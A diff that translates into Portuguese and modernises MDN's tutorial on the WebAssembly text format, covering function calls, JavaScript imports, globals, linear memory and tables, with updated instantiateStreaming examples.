+Se você quiser seguir o exemplo, salve nosso módulo acima em um arquivo chamado `add.wat`, então converta-o em um arquivo binário chamado `add.wasm` usando wabt (consulte [Convertendo o formato de texto WebAssembly para Wasm](/pt-BR/docs/WebAssembly/Text_format_to_Wasm) para detalhes).
 
-Next, we'll load our binary into a typed array called `addCode` (as described in [Fetching WebAssembly Bytecode](/pt-BR/docs/WebAssembly/Fetching_WebAssembly_bytecode)), compile and instantiate it, and execute our `add` function in JavaScript (we can now find `add()` in the [`exports`](/pt-BR/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/exports) property of the instance):
+Em seguida, instanciaremos nosso binário de forma assíncrona (consulte [Carregando e executando o código WebAssembly](/pt-BR/docs/WebAssembly/Loading_and_running)) e executaremos nossa função `add` em JavaScript (agora podemos encontrar `add()` na propriedade [`exports`](/pt-BR/docs/WebAssembly/JavaScript_interface/Instance/exports) da instância):
 
 ```js
-fetchAndInstantiate("add.wasm").then(function (instance) {
-  console.log(instance.exports.add(1, 2)); // "3"
+WebAssembly.instantiateStreaming(fetch("add.wasm")).then((obj) => {
+  console.log(obj.instance.exports.add(1, 2)); // "3"
 });
-
-// fetchAndInstantiate() found in wasm-utils.js
-function fetchAndInstantiate(url, importObject) {
-  return fetch(url)
-    .then((response) => response.arrayBuffer())
-    .then((bytes) => WebAssembly.instantiate(bytes, importObject))
-    .then((results) => results.instance);
-}
 ```
 
-> **Nota:** You can find this example in GitHub as [add.html](https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/add.html) ([see it live also](https://mdn.github.io/webassembly-examples/understanding-text-format/add.html)). Also see {{jsxref("WebAssembly.instantiate()")}} for more details about the instantiate function, and [`wasm-utils.js`](https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js) for the `fetchAndInstantiate()` source code.
+> **Nota:** Você pode encontrar este exemplo no GitHub como [add.html](https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/add.html) ([veja ao vivo também](https://mdn.github.io/webassembly-examples/understanding-text-format/add.html)). Consulte também [`WebAssembly.instantiateStreaming()`](/pt-BR/docs/WebAssembly/JavaScript_interface/instantiateStreaming) para obter mais detalhes sobre a função instanciar.
 
-## Exploring fundamentals
+## Explorando fundamentos
 
-Now we've covered the real basics, let's move on to look at some more advanced features.
+Agora que cobrimos o básico real, vamos ver alguns recursos mais avançados.
 
-### Calling functions from other functions in the same module
+### Chamando funções de outras funções no mesmo módulo
 
-The `call` instruction calls a single function, given its index or name. For example, the following module contains two functions — one just returns the value 42, the other returns the result of calling the first plus one:
+A instrução `call` chama uma única função, dado seu índice ou nome. Por exemplo, o seguinte módulo contém duas funções — uma apenas retorna o valor 42, a outra retorna o resultado da chamada do primeiro mais um:
 
-```
+```wasm
 (module
   (func $getAnswer (result i32)
     i32.const 42)
@@ -205,31 +198,29 @@ The `call` instruction calls a single function, given its index or name. For exa
     i32.add))
 ```
 
-> **Nota:** `i32.const` just defines a 32-bit integer and pushes it onto the stack. You could swap out the `i32` for any of the other available types, and change the value of the const to whatever you like (here we've set the value to `42`).
+> **Nota:** `i32.const` apenas define um inteiro de 32 bits e o coloca na pilha. Você pode trocar o `i32` por qualquer um dos outros tipos disponíveis e alterar o valor do const para o que quiser (aqui definimos o valor para `42`).
 
-In this example you'll notice an `(export "getAnswerPlus1")` section, declared just after the `func` statement in the second function — this is a shorthand way of declaring that we want to export this function, and defining the name we want to export it as.
+Neste exemplo, você notará uma seção `(export "getAnswerPlus1")`, declarada logo após a instrução `func` na segunda função — esta é uma forma abreviada de declarar que queremos exportar esta função e definir o nome como queremos exportá-la.
 
-This is functionally equivalent to including a separate function statement outside the function, elsewhere in the module in the same manner as we did before, e.g.:
+Isso é funcionalmente equivalente a incluir uma instrução de função separada fora da função, em outro lugar no módulo da mesma maneira que fizemos antes, por exemplo:
 
-```
+```wasm
 (export "getAnswerPlus1" (func $functionName))
 ```
 
-The JavaScript code to call our above module looks like so:
+O código JavaScript para chamar nosso módulo acima se parece com:
 
 ```js
-fetchAndInstantiate("call.wasm").then(function (instance) {
-  console.log(instance.exports.getAnswerPlus1()); // "43"
+WebAssembly.instantiateStreaming(fetch("call.wasm")).then((obj) => {
+  console.log(obj.instance.exports.getAnswerPlus1()); // "43"
 });
 ```
 
-> **Nota:** You can find this example on GitHub as [call.html](https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/call.html) ([see it live also](https://mdn.github.io/webassembly-examples/understanding-text-format/call.html)). Again, see [`wasm-utils.js`](https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js) for the `fetchAndInstantiate()` source.
-
-### Importing functions from JavaScript
+### Importando funções do JavaScript
 
-We have already seen JavaScript calling WebAssembly functions, but what about WebAssembly calling JavaScript functions? WebAssembly doesn't actually have any built-in knowledge of JavaScript, but it does have a general way to import functions that can accept either JavaScript or wasm functions. Let's look at an example:
+Já vimos JavaScript chamando funções WebAssembly, mas e o WebAssembly chamando funções JavaScript? O WebAssembly não possui nenhum conhecimento interno de JavaScript, mas possui uma maneira geral de importar funções que podem aceitar funções JavaScript ou Wasm. Vejamos um exemplo:
 
-```
+```wasm
 (module
   (import "console" "log" (func $log (param i32)))
   (func (export "logIt")
@@ -237,75 +228,102 @@ We have already seen JavaScript calling WebAssembly functions, but what about We
     call $log))
 ```
 
-WebAssembly has a two-level namespace so the import statement here is saying that we're asking to import the `log` function from the `console` module. You can also see that the exported `logIt` function calls the imported function using the `call` instruction we introduced above.
+WebAssembly tem um namespace de dois níveis, então a declaração de importação aqui está dizendo que estamos pedindo para importar a função `log` do módulo `console`. Você também pode ver que a função `logIt` exportada chama a função importada usando a instrução `call` que introduzimos acima.
 
-Imported functions are just like normal functions: they have a signature that WebAssembly validation checks statically, and they are given an index and can be named and called.
+As funções importadas são como funções normais: elas têm uma assinatura que a validação do WebAssembly verifica estaticamente e recebem um índice e podem ser nomeadas e chamadas.
 
-JavaScript functions have no notion of signature, so any JavaScript function can be passed, regardless of the import's declared signature. Once a module declares an import, the caller of {{jsxref("WebAssembly.instantiate()")}} must pass in an import object that has the corresponding properties.
+As funções JavaScript não têm noção de assinatura, portanto qualquer função JavaScript pode ser passada, independentemente da assinatura declarada na importação. Depois que um módulo declara uma importação, o chamador de [`WebAssembly.instantiate()`](/pt-BR/docs/WebAssembly/JavaScript_interface/instantiate) deve passar um objeto de importação que tenha as propriedades correspondentes.
 
-For the above, we need an object (let's call it `importObject`) such that `importObject.console.log` is a JavaScript function.
+Para o exposto acima, precisamos de um objeto (vamos chamá-lo de `importObject`) de modo que `importObject.console.log` seja uma função JavaScript.
 
-This would look like the following:
+Isso ficaria parecido com o seguinte:
 
 ```js
-var importObject = {
+const importObject = {
   console: {
-    log: function (arg) {
+    log(arg) {
       console.log(arg);
     },
   },
 };
 
-fetchAndInstantiate("logger.wasm", importObject).then(function (instance) {
-  instance.exports.logIt();
-});
+WebAssembly.instantiateStreaming(fetch("logger.wasm"), importObject).then(
+  (obj) => {
+    obj.instance.exports.logIt();
+  },
+);
 ```
 
-> **Nota:** You can find this example on GitHub as [logger.html](https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/logger.html) ([see it live also](https://mdn.github.io/webassembly-examples/understanding-text-format/logger.html)).
-
-### WebAssembly Memory
+> **Nota:** Você pode encontrar este exemplo no GitHub como [logger.html](https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/logger.html) ([veja ao vivo também](https://mdn.github.io/webassembly-examples/understanding-text-format/logger.html)).
 
-The above example is a pretty terrible logging function: it only prints a single integer! What if we wanted to log a text string? To deal with strings and other more complex data types, WebAssembly provides **memory**. According to WebAssembly, memory is just a large array of bytes that can grow over time. WebAssembly contains instructions like `i32.load` and `i32.store` for reading and writing from [linear memory](http://webassembly.org/docs/semantics/#linear-memory).
+### Declarando globais no WebAssembly
 
-From JavaScript's point of view, it's is as though memory is all inside one big (resizable) {{domxref("ArrayBuffer")}}. That's literally all that asm.js has to play with (except that it isn't resizable; see the asm.js [Programming model](http://asmjs.org/spec/latest/#programming-model)).
+O WebAssembly tem a capacidade de criar instâncias de variáveis globais, acessíveis a partir de JavaScript e importáveis/exportáveis em uma ou mais instâncias [`WebAssembly.Module`](/pt-BR/docs/WebAssembly/JavaScript_interface/Module). Isso é muito útil, pois permite a vinculação dinâmica de vários módulos.
 
-So a string is just a sequence of bytes somewhere inside this linear memory. Let's assume that we've written a suitable string of bytes to memory; how do we pass that string out to JavaScript?
+No formato de texto WebAssembly, é mais ou menos assim (consulte [global.wat](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat) em nosso repositório GitHub; consulte também [global.html](https://mdn.github.io/webassembly-examples/js-api-examples/global.html) para uma transmissão ao vivo Exemplo de JavaScript):
 
-The key is that JavaScript can create WebAssembly linear memory instances via the {{jsxref("WebAssembly.Memory()")}} interface, and access an existing memory instance (currently you can only have one per module instance) using the associated instance methods. Memory instances have a [`buffer`](/pt-BR/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer) getter, which returns an `ArrayBuffer` that points at the whole linear memory.
+```wasm
+(module
+   (global $g (import "js" "global") (mut i32))
+   (func (export "getGlobal") (result i32)
+        (global.get $g))
+   (func (export "incGlobal")
+        (global.set $g
+            (i32.add (global.get $g) (i32.const 1))))
+)
+```
 
-Memory instances can also grow, for example via the [`Memory.grow()`](/pt-BR/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/grow) method in JavaScript. When growth occurs, since `ArrayBuffer`s can’t change size, the current `ArrayBuffer` is detached and a new `ArrayBuffer` is created to point to the newer, bigger memory. This means all we need to do to pass a string to JavaScript is to pass out the offset of the string in linear memory along with some way to indicate the length.
+Isso é semelhante ao que vimos antes, exceto que especificamos um valor global usando a palavra-chave `global` e também especificamos a palavra-chave `mut` junto com o tipo de dados do valor, se quisermos que ele seja mutável.
 
-While there are many different ways to encode a string's length in the string itself (for example, C strings); for simplicity here we just pass both offset and length as parameters:
+Para criar um valor equivalente usando JavaScript, você usaria o construtor [`WebAssembly.Global()`](/pt-BR/docs/WebAssembly/JavaScript_interface/Global):
 
+```js
+const global = new WebAssembly.Global({ value: "i32", mutable: true }, 0);
 ```
+
+### Memória WebAssembly
+
+O exemplo acima é uma função de registro terrível: ela imprime apenas um único inteiro! E se quiséssemos registrar uma string de texto? Para lidar com strings e outros tipos de dados mais complexos, o WebAssembly fornece **memory** (embora também tenhamos [tipos de referência](#reference_types) na implementação mais recente do WebAssembly). De acordo com o WebAssembly, a memória é apenas uma grande matriz de bytes que pode crescer com o tempo. O WebAssembly contém instruções como `i32.load` e `i32.store` para leitura e gravação de [memória linear](https://webassembly.github.io/spec/core/exec/index.html#linear-memory).
+
+Do ponto de vista do JavaScript, é como se a memória estivesse toda dentro de um grande {{jsxref("ArrayBuffer")}} (redimensionável). Isso é literalmente tudo o que o asm.js tem para brincar (exceto que não é redimensionável; veja o asm.js [modelo de programação](http://asmjs.org/spec/latest/#programming-model)).
+
+Portanto, uma string é apenas uma sequência de bytes em algum lugar dentro dessa memória linear. Vamos supor que escrevemos uma string adequada de bytes na memória; como passamos essa string para JavaScript?
+
+A chave é que o JavaScript pode criar instâncias de memória linear WebAssembly por meio da interface [`WebAssembly.Memory()`](/pt-BR/docs/WebAssembly/JavaScript_interface/Memory) e acessar uma instância de memória existente (atualmente, você só pode ter uma por instância de módulo) usando os métodos de instância associados. As instâncias de memória têm um getter [`buffer`](/pt-BR/docs/WebAssembly/JavaScript_interface/Memory/buffer), que retorna um `ArrayBuffer` que aponta para toda a memória linear.
+
+As instâncias de memória também podem aumentar, por exemplo, por meio do método [`Memory.grow()`](/pt-BR/docs/WebAssembly/JavaScript_interface/Memory/grow) em JavaScript. Quando o crescimento ocorre, já que `ArrayBuffer`s não podem mudar de tamanho, o `ArrayBuffer` atual é separado e um novo `ArrayBuffer` é criado para apontar para a memória maior e mais nova. Isso significa que tudo o que precisamos fazer para passar uma string para JavaScript é passar o deslocamento da string na memória linear junto com alguma forma de indicar o comprimento.
+
+Embora existam muitas maneiras de codificar o comprimento de uma string na própria string (por exemplo, strings C); para simplificar aqui, apenas passamos o deslocamento e o comprimento como parâmetros:
+
+```wasm
 (import "console" "log" (func $log (param i32) (param i32)))
 ```
 
-On the JavaScript side, we can use the [TextDecoder API](/pt-BR/docs/Web/API/TextDecoder) to easily decode our bytes into a JavaScript string. (We specify `utf8` here, but many other encodings are supported.)
+No lado do JavaScript, podemos usar a [API TextDecoder](/pt-BR/docs/Web/API/TextDecoder) para decodificar facilmente nossos bytes em uma string JavaScript. (Especificamos `utf8` aqui, mas muitas outras codificações são suportadas.)
 
 ```js
-consoleLogString(offset, length) {
-  var bytes = new Uint8Array(memory.buffer, offset, length);
-  var string = new TextDecoder('utf8').decode(bytes);
+function consoleLogString(offset, length) {
+  const bytes = new Uint8Array(memory.buffer, offset, length);
+  const string = new TextDecoder("utf8").decode(bytes);
   console.log(string);
 }
 ```
 
-The last missing piece of the puzzle is where `consoleLogString` gets access to the WebAssembly `memory`. WebAssembly gives us a lot of flexibility here: we can either create a [`Memory`](/pt-BR/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory) object in JavaScript and have the WebAssembly module import the memory, or we can have the WebAssembly module create the memory and export it to JavaScript.
+A última peça que falta do quebra-cabeça é onde `consoleLogString` obtém acesso à `memory` do WebAssembly. WebAssembly nos dá muita flexibilidade aqui: podemos criar um objeto [`Memory`](/pt-BR/docs/WebAssembly/JavaScript_interface/Memory) em JavaScript e fazer com que o módulo WebAssembly importe a memória, ou podemos fazer com que o módulo WebAssembly crie a memória e exporte-a para JavaScript.
 
-For simplicity, let's create it in JavaScript then import it into WebAssembly. Our `import` statement is written as follows:
+Para simplificar, vamos criá-lo em JavaScript e depois importá-lo para o WebAssembly. Nossa instrução `import` é escrita da seguinte forma:
 
-```
+```wasm
 (import "js" "mem" (memory 1))
 ```
 
-The `1` indicates that the imported memory must have at least 1 page of memory (WebAssembly defines a page to be 64KB.)
+O `1` indica que a memória importada deve ter pelo menos 1 página de memória (o WebAssembly define uma página como 64KB).
 
-So let's see a complete module that prints the string "Hi". In a normal compiled C program, you'd call a function to allocate some memory for the string, but since we're just writing our own assembly here and we own the entire linear memory, we can just write the string contents into global memory using a `data` section. Data sections allow a string of bytes to be written at a given offset at instantiation time and are similar to the `.data` sections in native executable formats.
+Então vamos ver um módulo completo que imprime a string "Hi". Em um programa C compilado normal, você chamaria uma função para alocar um pouco de memória para a string, mas como estamos apenas escrevendo nosso próprio assembly aqui e possuímos toda a memória linear, podemos apenas escrever o conteúdo da string na memória global usando uma seção `data`. As seções de dados permitem que uma sequência de bytes seja escrita em um determinado deslocamento no tempo de instanciação e são semelhantes às seções `.data` em formatos executáveis nativos.
 
-Our final wasm module looks like this:
+Nosso módulo Wasm final se parece com isso:
 
-```
+```wasm
 (module
   (import "console" "log" (func $log (param i32 i32)))
   (import "js" "mem" (memory 1))
@@ -316,45 +334,50 @@ Our final wasm module looks like this:
     call $log))
 ```
 
-> **Nota:** Above, note the double semi-colon syntax (`;;`) for allowing comments in WebAssembly files.
+> **Nota:** Acima, observe a sintaxe de ponto e vírgula dupla (`;;`) para permitir comentários em arquivos WebAssembly.
 
-Now from JavaScript we can create a Memory with 1 page and pass it in. This results in "Hi" being printed to the console:
+Agora, a partir do JavaScript, podemos criar uma memória com 1 página e passá-la. Isso resulta em "Hi" sendo impresso no console:
 
 ```js
-var memory = new WebAssembly.Memory({ initial: 1 });
+const memory = new WebAssembly.Memory({ initial: 1 });
 
-var importObj = { console: { log: consoleLogString }, js: { mem: memory } };
+const importObject = {
+  console: { log: consoleLogString },
+  js: { mem: memory },
+};
 
-fetchAndInstantiate("logger2.wasm", importObj).then(function (instance) {
-  instance.exports.writeHi();
-});
+WebAssembly.instantiateStreaming(fetch("logger2.wasm"), importObject).then(
+  (obj) => {
+    obj.instance.exports.writeHi();
+  },
+);
 ```
 
-> **Nota:** You can find the full source on GitHub as [logger2.html](https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/logger2.html) ([also see it live](https://mdn.github.io/webassembly-examples/understanding-text-format/logger2.html)).
+> **Nota:** Você pode encontrar a fonte completa no GitHub como [logger2.html](https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/logger2.html) ([também veja ao vivo](https://mdn.github.io/webassembly-examples/understanding-text-format/logger2.html)).
 
-### WebAssembly tables
+### Tabelas WebAssembly
 
-To finish this tour of the WebAssembly text format, let's look at the most intricate, and often confusing, part of WebAssembly: **tables**. Tables are basically resizable arrays of references that can be accessed by index from WebAssembly code.
+Para terminar este tour pelo formato de texto do WebAssembly, vamos dar uma olhada na parte mais complexa e muitas vezes confusa do WebAssembly: **tables**. As tabelas são basicamente matrizes redimensionáveis de referências que podem ser acessadas por índice do código WebAssembly.
 
-To see why tables are needed, we need to first observe that the `call` instruction we saw earlier (see [Calling functions from other functions in the same module](#calling_functions_from_other_functions_in_the_same_module)) takes a static function index and thus can only ever call one function — but what if the callee is a runtime value?
+Para ver por que as tabelas são necessárias, precisamos primeiro observar que a instrução `call` que vimos anteriormente (consulte [Chamando funções de outras funções no mesmo módulo](#calling_functions_from_other_functions_in_the_same_module)) usa um índice de função estático e, portanto, só pode chamar uma função - mas e se o callee for um valor de tempo de execução?
 
-- In JavaScript we see this all the time: functions are first-class values.
-- In C/C++, we see this with function pointers.
-- In C++, we see this with virtual functions.
+- Em JavaScript, vemos isso o tempo todo: funções são valores de primeira classe.
+- Em C/C++, vemos isso com ponteiros de função.
+- Em C++, vemos isso com funções virtuais.
 
-WebAssembly needed a type of call instruction to achieve this, so we gave it `call_indirect`, which takes a dynamic function operand. The problem is that the only types we have to give operands in WebAssembly are (currently) `i32`/`i64`/`f32`/`f64`.
+O WebAssembly precisava de um tipo de instrução de chamada para conseguir isso, então demos a ela `call_indirect`, que recebe um operando de função dinâmica. O problema é que os únicos tipos que temos para dar operandos no WebAssembly são (atualmente) `i32`/`i64`/`f32`/`f64`.
 
-WebAssembly could add an `anyfunc` type ("any" because the type could hold functions of any signature), but unfortunately this `anyfunc` type couldn't be stored in linear memory for security reasons. Linear memory exposes the raw contents of stored values as bytes and this would allow wasm content to arbitrarily observe and corrupt raw function addresses, which is something that cannot be allowed on the web.
+WebAssembly poderia adicionar um tipo `anyfunc` ("qualquer" porque o tipo poderia conter funções de qualquer assinatura), mas infelizmente este tipo `anyfunc` não poderia ser armazenado na memória linear por razões de segurança. A memória linear expõe o conteúdo bruto de valores armazenados como bytes e isso permitiria que o conteúdo do Wasm observasse e corrompesse arbitrariamente os endereços de funções brutas, algo que não pode ser permitido na web.
 
-The solution was to store function references in a table and pass around table indices instead, which are just i32 values. `call_indirect`'s operand can therefore simply be an i32 index value.
+A solução foi armazenar as referências de função em uma tabela e, em vez disso, passar os índices da tabela, que são apenas valores i32. O operando de `call_indirect` pode, portanto, ser um valor de índice i32.
 
-#### Defining a table in wasm
+#### Definindo uma tabela no Wasm
 
-So how do we place wasm functions in our table? Just like `data` sections can be used to initialize regions of linear memory with bytes, `elem` sections can be used to initialize regions of tables with functions:
+Então, como colocamos as funções Wasm em nossa tabela? Assim como as seções `data` podem ser usadas para inicializar regiões de memória linear com bytes, as seções `elem` podem ser usadas para inicializar regiões de tabelas com funções:
 
-```
+```wasm
 (module
-  (table 2 anyfunc)
+  (table 2 funcref)
   (elem (i32.const 0) $f1 $f2)
   (func $f1 (result i32)
     i32.const 42)
@@ -364,67 +387,67 @@ So how do we place wasm functions in our table? Just like `data` sections can be
 )
 ```
 
-- In `(table 2 anyfunc)`, the 2 is the initial size of the table (meaning it will store two references) and `anyfunc` declares that the element type of these references is "a function with any signature". In the current iteration of WebAssembly, this is the only allowed element type, but in the future, more element types will be added.
-- The functions (`func`) sections are just like any other declared wasm functions. These are the functions we are going to refer to in our table (for example's sake, each one just returns a constant value). Note that the order the sections are declared in doesn't matter here — you can declare your functions anywhere and still refer to them in your `elem` section.
-- The `elem` section can list any subset of the functions in a module, in any order, allowing duplicates. This is a list of the functions that are to be referenced by the table, in the order they are to be referenced.
-- The `(i32.const 0)` value inside the `elem` section is an offset — this needs to be declared at the start of the section, and specifies at what index in the table function references start to be populated. Here we've specified 0, and a size of 2 (see above), so we can fill in two references at indexes 0 and 1. If we wanted to start writing our references at offset 1, we'd have to write `(i32.const 1)`, and the table size would have to be 3.
+- Em `(table 2 funcref)`, o 2 é o tamanho inicial da tabela (ou seja, irá armazenar duas referências) e `funcref` declara que o tipo de elemento dessas referências é referência de função.
+- As seções de funções (`func`) são como quaisquer outras funções declaradas do Wasm. Estas são as funções às quais vamos nos referir em nossa tabela (por exemplo, cada uma apenas retorna um valor constante). Observe que a ordem em que as seções são declaradas não importa aqui — você pode declarar suas funções em qualquer lugar e ainda se referir a elas em sua seção `elem`.
+- A seção `elem` pode listar qualquer subconjunto das funções em um módulo, em qualquer ordem, permitindo duplicatas. Esta é uma lista das funções que devem ser referenciadas pela tabela, na ordem em que devem ser referenciadas.
+- O valor `(i32.const 0)` dentro da seção `elem` é um deslocamento — isso precisa ser declarado no início da seção e especifica em qual índice na tabela as referências de função começam a ser preenchidas. Aqui especificamos 0 e um tamanho de 2 (veja acima), para que possamos preencher duas referências nos índices 0 e 1. Se quiséssemos começar a escrever nossas referências no deslocamento 1, teríamos que escrever `(i32.const 1)`, e o tamanho da tabela teria que ser 3.
 
-> **Nota:** Uninitialized elements are given a default throw-on-call value.
+> **Nota:** Os elementos não inicializados recebem um valor padrão de ativação.
 
-In JavaScript, the equivalent calls to create such a table instance would look something like this:
+Em JavaScript, as chamadas equivalentes para criar tal instância de tabela seriam mais ou menos assim:
 
 ```js
-function() {
-  // table section
-  var tbl = new WebAssembly.Table({initial:2, element:"anyfunc"});
+function () {
+  // seção da tabela
+  const tbl = new WebAssembly.Table({initial: 2, element: "anyfunc"});
 
-  // function sections:
-  var f1 = function() { … }
-  var f2 = function() { … }
+  // seções de função:
+  const f1 = ... /* alguma função WebAssembly importada */
+  const f2 = ... /* alguma função WebAssembly importada */
 
-  // elem section
+  // seção de elementos
   tbl.set(0, f1);
   tbl.set(1, f2);
 };
 ```
 
-#### Using the table
+#### Usando a tabela
 
-Moving on, now we've defined the table we need to use it somehow. Let's use this section of code to do so:
+Seguindo em frente, agora que definimos a tabela, precisamos usá-la de alguma forma. Vamos usar esta seção de código para fazer isso:
 
-```
-(type $return_i32 (func (result i32))) ;; if this was f32, type checking would fail
+```wasm
+(type $return_i32 (func (result i32))) ;; se fosse f32, a verificação de tipo falharia
 (func (export "callByIndex") (param $i i32) (result i32)
-  get_local $i
-  call_indirect $return_i32)
+  local.get $i
+  call_indirect (type $return_i32))
 ```
 
-- The `(type $return_i32 (func (param i32)))` block specifies a type, with a reference name. This type is used when performing type checking of the table function reference calls later on. Here we are saying that the references need to be functions that return an `i32` as a result.
-- Next, we define a function that will be exported with the name `callByIndex`. This will take one `i32` as a parameter, which is given the argument name `$i`.
-- Inside the function, we add one value to the stack — whatever value is passed in as the parameter `$i`.
-- Finally, we use `call_indirect` to call a function from the table — it implicitly pops the value of `$i` off the stack. The net result of this is that the `callByIndex` function invokes the `$i`'th function in the table.
+- O bloco `(type $return_i32 (func (result i32)))` especifica um tipo, com um nome de referência. Esse tipo é usado ao executar a verificação de tipo das chamadas de referência de função de tabela posteriormente. Aqui estamos dizendo que as referências precisam ser funções que retornam um `i32` como resultado.
+- Em seguida, definimos uma função que será exportada com o nome `callByIndex`. Isso levará um `i32` como parâmetro, que recebe o nome de argumento `$i`.
+- Dentro da função, adicionamos um valor à pilha — qualquer valor que seja passado como parâmetro `$i`.
+- Por fim, usamos `call_indirect` para chamar uma função da tabela — ela extrai implicitamente o valor de `$i` da pilha. O resultado líquido disso é que a função `callByIndex` invoca a função `$i`'th na tabela.
 
-You could also declare the `call_indirect` parameter explicitly during the command call instead of before it, like this:
+Você também pode declarar o parâmetro `call_indirect` explicitamente durante a chamada do comando em vez de antes dele, assim:
 
-```
-(call_indirect $return_i32 (get_local $i))
+```wasm
+(call_indirect (type $return_i32) (local.get $i))
 ```
 
-In a higher level, more expressive language like JavaScript, you could imagine doing the same thing with an array (or probably more likely, object) containing functions. The pseudo code would look something like `tbl[i]()`.
+Em uma linguagem mais expressiva e de nível superior, como JavaScript, você pode imaginar fazer a mesma coisa com uma matriz (ou provavelmente, mais provavelmente, um objeto) contendo funções. O pseudocódigo seria algo como `tbl[i]()`.
 
-So, back to the typechecking. Since WebAssembly is typechecked, and `anyfunc` means "any function signature", we have to supply the presumed signature of the callee at the callsite, hence we include the `$return_i32` type, to tell the program a function returning an `i32` is expected. If the callee doesn't have a matching signature (say an `f32` is returned instead), a {{jsxref("WebAssembly.RuntimeError")}} is thrown.
+Então, de volta à verificação de tipos. Como o WebAssembly é verificado quanto ao tipo e o `funcref` pode ser potencialmente qualquer assinatura de função, temos que fornecer a assinatura presumida do callee no callsite, portanto, incluímos o tipo `$return_i32`, para informar ao programa que uma função que retorna um `i32` é esperada. Se o receptor não tiver uma assinatura correspondente (digamos que um `f32` seja retornado), um [`WebAssembly.RuntimeError`](/pt-BR/docs/WebAssembly/JavaScript_interface/RuntimeError) será lançado.
 
-So what links the `call_indirect` to the table we are calling? The answer is that there is only one table allowed right now per module instance, and that is what `call_indirect` is implicitly calling. In the future, when multiple tables are allowed, we would also need to specify a table identifier of some kind, along the lines of
+Então, o que liga `call_indirect` à tabela que estamos chamando? A resposta é que há apenas uma tabela permitida agora por instância do módulo, e é isso que `call_indirect` está chamando implicitamente. No futuro, quando várias tabelas forem permitidas, também precisaremos especificar um identificador de tabela de algum tipo, nos moldes de
 
-```
-call_indirect $my_spicy_table $i32_to_void
+```wasm
+call_indirect $my_spicy_table (type $i32_to_void)
 ```
 
-The full module all together looks like this, and can be found in our [wasm-table.wat](https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/wasm-table.wat) example file:
+O módulo completo se parece com isso e pode ser encontrado em nosso arquivo de exemplo [wasm-table.wat](https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/wasm-table.wat):
 
-```
+```wasm
 (module
-  (table 2 anyfunc)
+  (table 2 funcref)
   (func $f1 (result i32)
     i32.const 42)
   (func $f2 (result i32)
@@ -432,42 +455,41 @@ The full module all together looks like this, and can be found in our [wasm-tabl
   (elem (i32.const 0) $f1 $f2)
   (type $return_i32 (func (result i32)))
   (func (export "callByIndex") (param $i i32) (result i32)
-    get_local $i
-    call_indirect $return_i32)
+    local.get $i
+    call_indirect (type $return_i32))
 )
 ```
 
-We load it into a webpage using the following JavaScript:
+Nós o carregamos em uma página da Web usando o seguinte JavaScript:
 
 ```js
-fetchAndInstantiate("wasm-table.wasm").then(function (instance) {
-  console.log(instance.exports.callByIndex(0)); // returns 42
-  console.log(instance.exports.callByIndex(1)); // returns 13
-  console.log(instance.exports.callByIndex(2));
-  // returns an error, because there is no index position 2 in the table
+WebAssembly.instantiateStreaming(fetch("wasm-table.wasm")).then((obj) => {
+  console.log(obj.instance.exports.callByIndex(0)); // retorna 42
+  console.log(obj.instance.exports.callByIndex(1)); // retorna 13
+  console.log(obj.instance.exports.callByIndex(2)); // retorna um erro, porque não há posição de índice 2 na tabela
 });
 ```
 
-> **Nota:** You can find this example on GitHub as [wasm-table.html](https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/wasm-table.html) ([see it live also](https://mdn.github.io/webassembly-examples/understanding-text-format/wasm-table.html)).
+> **Nota:** Você pode encontrar este exemplo no GitHub como [wasm-table.html](https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/wasm-table.html) ([veja ao vivo também](https://mdn.github.io/webassembly-examples/understanding-text-format/wasm-table.html)).
 
-> **Nota:** Just like Memory, Tables can also be created from JavaScript (see [`WebAssembly.Table()`](/pt-BR/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table)) as well as imported to/from another wasm module.
+> **Nota:** Assim como a memória, as tabelas também podem ser criadas a partir de JavaScript (consulte [`WebAssembly.Table()`](/pt-BR/docs/WebAssembly/JavaScript_interface/Table)) bem como importadas de/para outro módulo Wasm.
 
-### Mutating tables and dynamic linking
+### Tabelas mutantes e links dinâmicos
 
-Because JavaScript has full access to function references, the Table object can be mutated from JavaScript by the [`grow()`](/pt-BR/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/grow), [`get()`](/pt-BR/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/get) and [`set()`](/pt-BR/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/set) methods. When WebAssembly gets [reference types](http://webassembly.org/docs/gc/), WebAssembly code will be able to mutate tables itself with `get_elem`/`set_elem` instructions.
+Como o JavaScript tem acesso total às referências de função, o objeto Tabela pode sofrer mutação do JavaScript usando os métodos [`grow()`](/pt-BR/docs/WebAssembly/JavaScript_interface/Table/grow), [`get()`](/pt-BR/docs/WebAssembly/JavaScript_interface/Table/get) e [`set()`](/pt-BR/docs/WebAssembly/JavaScript_interface/Table/set). E o próprio código WebAssembly é capaz de manipular tabelas usando instruções adicionadas como parte de [Tipos de referência](#reference_types), como `table.get` e `table.set`.
 
-Because tables are mutable, they can be used to implement sophisticated load-time and run-time [dynamic linking schemes](http://webassembly.org/docs/dynamic-linking). When a program is dynamically linked, multiple instances share the same memory and table. This is symmetric to a native application where multiple compiled `.dll`s share a single process's address space.
+Como as tabelas são mutáveis, elas podem ser usadas para implementar [esquemas de vinculação dinâmica] sofisticados de tempo de carregamento e tempo de execução (https://github.com/WebAssembly/tool-conventions/blob/main/DynamicLinking.md). Quando um programa é vinculado dinamicamente, várias instâncias compartilham a mesma memória e tabela. Isso é simétrico para um aplicativo nativo onde vários `.dll`s compilados compartilham o espaço de endereço de um único processo.
 
